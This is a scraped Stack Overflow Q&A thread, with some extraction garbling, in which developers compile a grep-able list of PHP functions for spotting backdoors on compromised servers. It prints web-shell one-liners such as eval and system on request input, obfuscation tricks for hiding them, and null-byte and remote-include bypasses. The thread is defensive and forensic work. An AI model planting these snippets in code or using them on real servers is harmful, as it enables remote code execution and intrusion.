Comments 0

Document transcript

log in

|

careers

|

chat

|

meta

|

about

|

faqQuestions

Tags

Users

Badges

Unanswered

Ask Question

Exploitable PHP functions

261

192

php

security

grep

I'm trying to build a list of functions that can be used for arbitrary code execution. The purpose isn't tolist functions that should be blacklisted or otherwise disallowed. Rather, I'd like to have agrep-able listofred-flagkeywords handy when searching a compromised server for back-doors.

The idea is that if you want to build a multi-purpose malicious PHP script--such as a "web shell" scriptlike c99 or r57--you're going to have to use one or more of a relatively small set of functionssomewhere in the file in order to allow the user to execute arbitrary code. Searching for those thosefunctions helps you more quickly narrow down a haystack of tens-of-thousands of PHP files to arelatively small set of scripts that require closer examination.

Clearly, for example, any of the following would be considered malicious (or terrible coding):

and so forth.

Searching through a compromised website the other day, I didn't notice a piece of malicious code<? eval($_GET['cmd']); ?>

<? system($_GET['cmd']); ?>

<? preg_replace('/.*/e',$_POST['code']); ?>

because I didn't realizepreg_replacecould be made dangerous by the use of the/eflag (which,seriously? Why is that even there?). Are there any others that I missed?

It might also be useful to have a list of functions that are capable of modifying files, but I imagine 99% ofthe time exploit code will contain at least one of the functions above. But if you have a list of all thefunctions capable of editing or outputting files, post it and I'll include it here. (And I'm not countingmysql_execute, since that's part of another class of exploit.)

link|improve this question

editedOct 19 '10 at 17:28

community wikitylerl40

as a sidenote, I'd like to see that list published in the near future, if possible :)

–

yoda

Jun25'10at4:40

15

@yoda: published where? I'll keep the list updated here, since SO is the Source of All Knowledge.

–

tylerl

Jun 25 '10 at 8:36

2

What does the/emodifier do?

–

Billy ONeal

Sep13'10at4:13

5

@Billy: theemodifier makes the replacement string to be evaluated as PHP code.

–

nikc.org

Sep13'10

at 6:20

1

It has to be said: executing the code in the regex is something Perl and possibly Python do too, nottagged

A Study In ScarletandRATS.I have also added some of my own tothe mix and people on this thread have helped out.

Edit:After posting this list I contacted the founder ofRIPSand as of now this tools searches PHP codefor the use of every function in this list.

Most of these function calls are classified as Sinks. When a tainted variable (like $_REQUEST) ispassed to a sink function, then you have a vulnerability.Programs likeRATSandRIPSuse grep likefunctionality to identify all sinks in an application.This means that programmers should take extra carewhen using these functions,

but if they where all banned then you wouldn't be able to get much done.

"With great power comes great responsibility."

--Stan Lee

Command Execution

PHP Code Execution

Apart fromevalthere are other ways to execute PHP code:include/requirecan be used forremote code execution in the form ofLocal File IncludeandRemote File Includevulnerabilities.

List of functions which accept callbacks

These functions accept a string parameter which could be used to call a function of the attacker'schoice.Depending on the function the attacker may or may not have the ability to pass a parameter.Inthat case anInformation Disclosurefunction likephpinfo()could be used.

exec-Returns last line of commands output

passthru-Passes commands output directly to the browser

system-Passes commands output directly to the browser and returns lastline

Most of these function calls are not sinks.But rather it maybe a vulnerability if any of the data returnedis viewable to an attacker.If an attacker can seephpinfo()it is definitely a vulnerability.

Other

Filesystem Functions

According to RATS allfilesystem functionsin php are nasty. Some of these don't seem very useful to theattacker. Others are more useful than you might think. For instance ifallow_url_fopen=Onthen a urlcan be used as a file path, so a call tocopy($_GET['s'], $_GET['d']);can be used to upload aPHP script anywhere on the system.Also if a site is vulnerable to a request send via GET everyone ofthose file system functions can be abused to channel and attack to another host through your server.

'preg_replace_callback' => 1,

'spl_autoload_register' => 0,

'iterator_apply' => 1,

'call_user_func' => 0,

'call_user_func_array' => 0,

'register_shutdown_function' => 0,

'register_tick_function' => 0,

'set_error_handler' => 0,

'set_exception_handler' => 0,

'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),

'sqlite_create_aggregate' => array(2, 3),

'sqlite_create_function' => 2,

phpinfo

posix_mkfifo

posix_getlogin

posix_ttyname

getenv

get_current_user

proc_get_status

get_cfg_var

disk_free_space

disk_total_space

diskfreespace

getcwd

getlastmo

getmygid

getmyinode

getmypid

getmyuid

extract-Opens the door for register_globals attacks (see study in scarlet).

parse_str-works like extract if only one argument is given.

putenv

ini_set

mail-has CRLF injection in the 3rd parameter, opens the door for spam.

header-on old systems CRLF injection could be used for xss or other purposes,now it is still a problem if they do a header("location: ..."); and they do notdie();. The script keeps executing after a call to header(), and will still printoutput normally. This is nasty if you are trying to protect an administrativearea.

Shall we agree that PHP in general is Nasty and needs a virtual machine/sandboxing

–

whatnick

Sep19'10

at 6:09

33

@whatnick Actually I don't see an appreciable difference between PHP and other web applicationlanguages.At the end of the day programmers need the ability toeval()code, to execute systemcommands,access a database, and read/write to files.This code can be influenced by an attacker,andthat is a vulnerability.

–

Rook

Sep19'10at9:59

7

So many functions banned! Are you the host of my website by any chance?

–

Andrew Dunn

Sep20'10at

18:20

3

Imhopreg_matchwitheis no harm. Manual says "Only preg_replace() uses this modifier; it is ignoredby other PCRE functions."

–

NikiC

Nov5'10at8:01

54

You'd have to scan for include($tmp) and require(HTTP_REFERER) and *_once as well. If an exploitscript can write to a temporary file, it could just include that later. Basicallya two-step eval.

And it's even possible to hide remote code with workarounds like:

Also, if your webserver has already been compromised you will not always see unencoded evil. Oftenthe exploit shell is gzip-encoded. Think ofinclude("zlib:script2.png.gz");No eval here, stillsame effect.

include("data:text/plain;base64,$_GET[code]");

link|improve this answer

editedJun 25 '10 at 17:24

community wikimarioOh wow. That's clever. I'll add it to the list.

–

tylerl

Jun25'10at5:45

1

Depending on how PHP is configured, include can actually include code from arbitrary URLs. Something like

include "example.com/code.phps";;I saw a compromised website that had been broken into using acombination of that feature and register_globals.

–

BlackAura

Jun25'10at17:15

@BlackAura how did regiser_globals fit in to the attack? Is it something that could have been pulled off justas easily by using$_GET[xyz]as opposed to$xyz? Or was there something deeper to it?

–

tylerl

Jun

25 '10 at 19:29

I'm not quite sure why it was done this way, but the website kept doing things like this: include($prefix .'/filename.php'); I think the idea was that you could move the core code outside the web root, by setting the$prefix variable in the config file. If the attacker sets that value to something like "example.com/code.phps?";,http://stackoverflow.com/questions/3115559/exploitable-php-functionsPage 4 / 12show2more comments

feedback

PHP will include that remote file instead.Near as I can tell, a 'bot actually managed to break in using ageneric exploit. Apparently, a lot of old PHP code made that mistake.Basically, NEVER let any user-submitted value anywhere near an include statement.

–

BlackAura

Jun26'10at9:08

2

includedoes not require parentheses;include "…"

suffices.

–

Gumbo

Sep15'10at8:40

45

+50This is not an answer per se, but here's something interesting:

In the same spirit,call_user_func_array()can be used to execute obfuscated functions.

$y = str_replace('z', 'e', 'zxzc');

$y("malicious code");

link|improve this answer

editedSep 17 '10 at 12:11

community wikiAillynshow2more comments

feedback

1

And there is no way to find this without executing the code :( Static analysis won't help here.

@Wallacoloo: It's even easier to hide a compiled language CGI backdoor as there are no easy text stringsto grep for in a binary.

–

michaelc

Nov5'10at19:24

2

Nice.. I tried with $f = 'ev'.'al'; $f($_POST['c']); but did not work since 'eval' is not a function but a specialconstruct like include, echo, etc.-> interesting that exec() is not and so this would work..

–

redShadow

Nov

8 '10 at 0:12

21

I'm surprised no one has mentionedechoandprintas points of security exploitation.

Cross-Site Scripting (XSS)is a serious security exploit, because it's even more common than server-sidecode execution exploits.

link|improve this answer

answeredSep 27 '10 at 17:01

community wikiBill Karwinfeedback

That would be a vector that affects the client, not the server, technically.

–

damianb

Mar10at14:12

@damianb: If a site uses Ajax, and I can cause arbitrary javascript to be evaluated in any user's session, I couldcause a lot of mischief on the server.

–

Bill Karwin

Mar10at17:56

"on the server" ....to clients connected; it does not affect the server backend. That falls under client-sideexploits, such as cursorjacking, CSRF, header injection, and so on.It's dangerous, yes, but it falls under adifferent classification entirely.

–

damianb

Mar11at18:17

19

i'd particularly want to add unserialize() to this list. It has had a long history of various vulnerabilitiesincluding arbitrary code execution, denial of service and memory information leakage. It should never becalled on user-supplied data. Many of these vuls have been fixed in releases over the last dew years,but it still retains a couple of nasty vuls at the current time of writing.

For other information about dodgy php functions/usage look around theHardened PHP Projectand itsadvisories. Also the recentMonth of PHP Securityand 2007'sMonth of PHP Bugsprojects

Also note that, by design, unserializing an object will cause the constructor and destructor functions toexecute; another reason not to call it on user-supplied data.

I'm interested to hear more about the unserialize issue. Is this just a bug in the implementation, or is it a flaw inthe design (i.e. can't be fixed)? Can you point me to more information about that issue in particular?

–

tylerl

Jun 25 '10 at 19:27

For the arbitrary code execution and memory information leakage see Stefan's advisory atphp-security.org/2010/06/25/…

PHP has enough potentially destructible functions that your list might be too big to grep for. Forexample, PHP has chmod and chown, which could be used to simply deactivate a website.

EDIT: Perhaps you may want to build a bash script that searches for a file for an array of functionsgrouped by danger (functions that are bad, functions that are worse, functions that should never beused), and then calculate the relativity of danger that the file imposes into a percentage. Then outputthis to a tree of the directory with the percentages tagged next to each file, if greater than a threshold ofsay, 30% danger.

One answer is sufficient ;) You should just add it on to your previous one.

–

Justin Johnson

Sep13'10at

4:37

interesting list.

–

Rook

Oct15'10at8:15

14

Also be aware of the class of "interruption vulnerabilities" that allow arbitrary memory locations to beread and written!

These affect functions such as trim(), rtrim(), ltrim(), explode(), strchr(), strstr(), substr(), chunk_split(),strtok(), addcslashes(), str_repeat() and more. This is largely, but not exclusively, due to the call-timehttp://stackoverflow.com/questions/3115559/exploitable-php-functionsPage 6 / 12pass-by-reference feature of the language that has been deprecated for 10 years but not disabled.

Fore more info, see Stefan Esser’s talk about interruption vulnerabilities and other lower-level PHPissues at BlackHat USA 2009Slides

Paper

This paper/presentation also shows how dl() can be used to execute arbitrary system code.

link|improve this answer

editedAug 11 '10 at 9:06

community wikiCheekysoftfeedback

You should check my answer.

–

Rook

Sep13'10at4:02

And it's a very nice answer too. +1 to you. An excellent summary.

–

Cheekysoft

Sep13'10at12:39

thank you.

–

Rook

Sep13'10at21:51

1

Ouch. Well, I really thought that PHP was somewhat secure before I had a look at those slides...

–

NikiC

Oct 31 '10 at 16:31

13

Apart from theevallanguage construct there is another function which allows arbitrary codeexecution:assert

assert('ex' . 'ec("kill--bill")');

link|improve this answer

answeredSep 17 '10 at 17:04

community wikiNikiCfeedback

11

+25One source of interesting exploits has not been mentioned. PHP allows strings to have0x00bytes inthem. Underlying (libc) functions treat this as the end of a string.

This allows for situations where (poorly implemented) sanity-checking in PHP can be fooled, e.g. in asituation like:

This might include any file-not just those ending in.php

-by callingscript.php?file=somefile%00.php

So any function that will not obey PHP's string length may lead to some vulnerability.

@stasM That's one of the best things I've heard about PHP in a while. Thanks for sharing.

–

William

Nov26'11

at 20:35

9

What about dangerous syntactic elements?

The "variable variable" ($$var) will find a variable in the current scope by the name of $var. If usedwrong, the remote user can modify or read any variable in the current scope. Basically a weakereval.

Ex: you write some code$$uservar = 1;, then the remote user sets$uservarto "admin", causing$adminto be set to1in the current scope.

I see what you mean, but this looks like a different class of exploit. Is there a way you can execute arbitraryPHP code with this mechanism (without using any of the above functions)? Or can it only be abused forchanging variable contents? If I'm missing something, I want to get it right.

–

tylerl

Jun25'10at5:50

6

You can also use variable functions which will be impossible to work out without evaluating the script. Forexample:$innocentFunc = 'exec'; $innocentFunc('activate skynet');.

–

erisco

Jun25'10at6:56

Also look out for reflection.

–

erisco

Jun25'10at6:57

+1 Good info, global variable manipulation can be nasty,you should see my post.

–

Rook

Sep13'10at4:02

6

I guess you won't be able to really find all possible exploits by parsing your source files.

lalso if there are really great lists provided in here, you can miss a function which can be exploitet

lthere still could be "hidden" evil code like this

$myEvilRegex = base64_decode('Ly4qL2U=');

preg_replace($myEvilRegex, $_POST['code']);

lyou could now say, i simply extend my script to also match this

lbut then you will have that mayn "possibly evil code" which additionally is out of it's context

lso to be (pseudo-)secure, you should reallywrite good codeandread all existing codeyourselflink|improve this answer

answeredSep 23 '10 at 19:52

community wikiAndreas Lindenfeedback

I've seen base64_decode() used for evil frequently in Wordpress-based malware.Good addition to the list.

–

chrisallenlane

Mar17'11at19:12

5

Backtick OperatorBacktick on php manual

link|improve this answer

answeredJun 25 '10 at 4:38

community wikiArneRiefeedback

Second to last in the first list. But thanks for the input.

–

tylerl

Jun25'10at4:42

5

I knowmove_uploaded_filehas been mentioned, but file uploading in general is very dangerous.Just the presence of$_FILESshould raise some concern.

It's quite possible to embed PHP code into any type of file. Images can be especially vulnerable with textcomments. The problem is particularly troublesome if the code accepts the extension found within the$_FILESdata as-is.

For example, a user could upload a valid PNG file with embedded PHP code as "foo.php". If the script isparticularly naive, it may actually copy the file as "/uploads/foo.php". If the server is configured to allowscript execution in user upload directories (often the case, and a terrible oversight), then you instantlycan run any arbitrary PHP code. (Even if the image is saved as .png, it might be possible to get the codeto execute via other security flaws.)

A (non-exhaustive) list of things to check on uploads:

lMake sure to analyze the contents to make sure the upload is the type it claims to be

lSave the file with a known, safe file extension that will not ever be executed

There are loads of PHP exploits which can be disabled by settings in the PHP.ini file. Obvious example isregister_globals, but depending on settings it may also be possible to include or open files from remotemachines via HTTP, which can be exploited if a program uses variable filenames for any of its include()or file handling functions.

PHP also allows variable function calling by adding () to the end of a variable name--eg$myvariable();will call the function name specified by the variable. This is exploitable; eg if an attacker can get thevariable to contain the word 'eval', and can control the parameter, then he can do anything he wants,even though the program doesn't actually contain the eval() function.

link|improve this answer

answeredSep 15 '10 at 8:45

community wikiSpudleyfeedback

actually this doesn't work with echo and eval.

–

lawl0r

Mar16'11at12:23

4

These functions can also have some nasty effects.

lstr_repeat()

lunserialize()

lregister_tick_function()

lregister_shutdown_function()

The first two can exhaust all the available memory and the latter keep the exhaustion going...

link|improve this answer

answeredSep 19 '10 at 14:54

community wikiAlix Axelfeedback

4

+50Let's addpcntl_signalandpcntl_alarmto the list.

With the help of those functions you can work around any set_time_limit restriction created int thephp.ini or in the script.

This script for example will run for 10 seconds despite ofset_time_limit(1);

There was some discussion of this onsecurity.stackexchange.comrecently

functions that can be used for arbitrary code execution

Well that reduces the scope a little-but since 'print' can be used to inject javascript (and therefore stealsessions etc) its still somewhat arbitrary.

isn't to list functions that should be blacklisted or otherwise disallowed. Rather, I'd like to have a grep-able list

That's a sensible approach.

Do consider writing your own parser though-very soon you're going to find a grep based approachgetting out of control (awk would be a bit better). Pretty soon you're also going to start wishing you'dimplemented a whitelist too!

In addition to the obvious ones, I'd recommend flagging up anything which does an include with anargument of anything other than a string literal. Watch out for __autoload() too.

link|improve this answer

answeredMar 18 '11 at 12:49

community wikisymcbeanfeedback

2

I fear my answer might be a bit too negative, but...

IMHO, every single function and method out there can be used for nefarious purposes.Think of it as atrickle-down effect of nefariousness: a variable gets assigned to a user or remote input, the variable isused in a function, the function return value used in a class property, the class property used in a filefunction, and so forth.Remember: a forged IP address or a man-in-the-middle attack can exploit yourentire website.

Your best bet is to trace from beginning to end any possible user or remote input, starting with$_SERVER,$_GET,$_POST,$_FILE,$_COOKIE,include(some remote file)(if

allow_url_fopenis on), all other functions/classes dealing with remote files, etc.You programaticallybuild a stack-trace profile of each user-or remote-supplied value.This can be done programatically bygetting all repeat instances of the assigned variable and functions or methods it's used in, thenrecursively compiling a list of all occurrences of those functions/methods, and so on.Examine it toensure it first goes through the proper filtering and validating functions relative to all other functions ittouches.This is of course a manual examination, otherwise you'll have a total number ofcaseswitchesequal to the number of functions and methods in PHP (including user defined).

Alternatively for handling only user input, have a static controller class initialized at the beginning ofall

scripts which 1) validates and stores all user-supplied input values against a white-list of allowedpurposes; 2) wipes that input source (ie$_SERVER = null).You can see where this gets a littleNaziesque.

link|improve this answer

editedMar 27 '11 at 6:11

community wikibob-the-destroyerfeedback

Yes of course, as with many programming languages, there's no end of ways to hide your evil deeds. However Ithink that misses the intention of what I was asking.The scenario is something like this:You're called to helpafter a website is hacked. The client will pay extra if you can secure his website before morning. The sitecontains 475 PHP files, and the useful forensic details have been destroyed--you've got a huge haystack and anotoriously small needle... where do you start looking?(My day job in a nutshell)

–

tylerl

Mar27'11at8:35

1

Here is a list of functions my provider disables for security purposes:

Most of attacks in the code use multiple access sources, or multiple steps to execute themselves. I wouldsearch not only for a code, or method having malicious code, but all methods, function executing orcalling it. The best security would also include encoding and validating form data as it comes in and out.

Watch also out from defining system variables, they can afterwards be called from any function ormethod in the code.

link|improve this answer

answeredMar 29 '11 at 10:32

community wikiCninrohfeedback

0

Several buffer overflows were discovered using 4bitcharacters functions that interpret text.htmlentities()

htmlspecialchars()

were at the top, a good defence is to usemb_convert_encoding() to convert to singleencoding prior tointerpretation.

link|improve this answer

answeredApr 28 '11 at 22:43

community wikiehimefeedback

0

You can find a continuously updated list of sensitive sinks (exploitable php functions) and theirparameters inRIPS/config/sinks.php, a static source code analyser for vulnerabilities in PHPapplications that also detects PHP backdoors.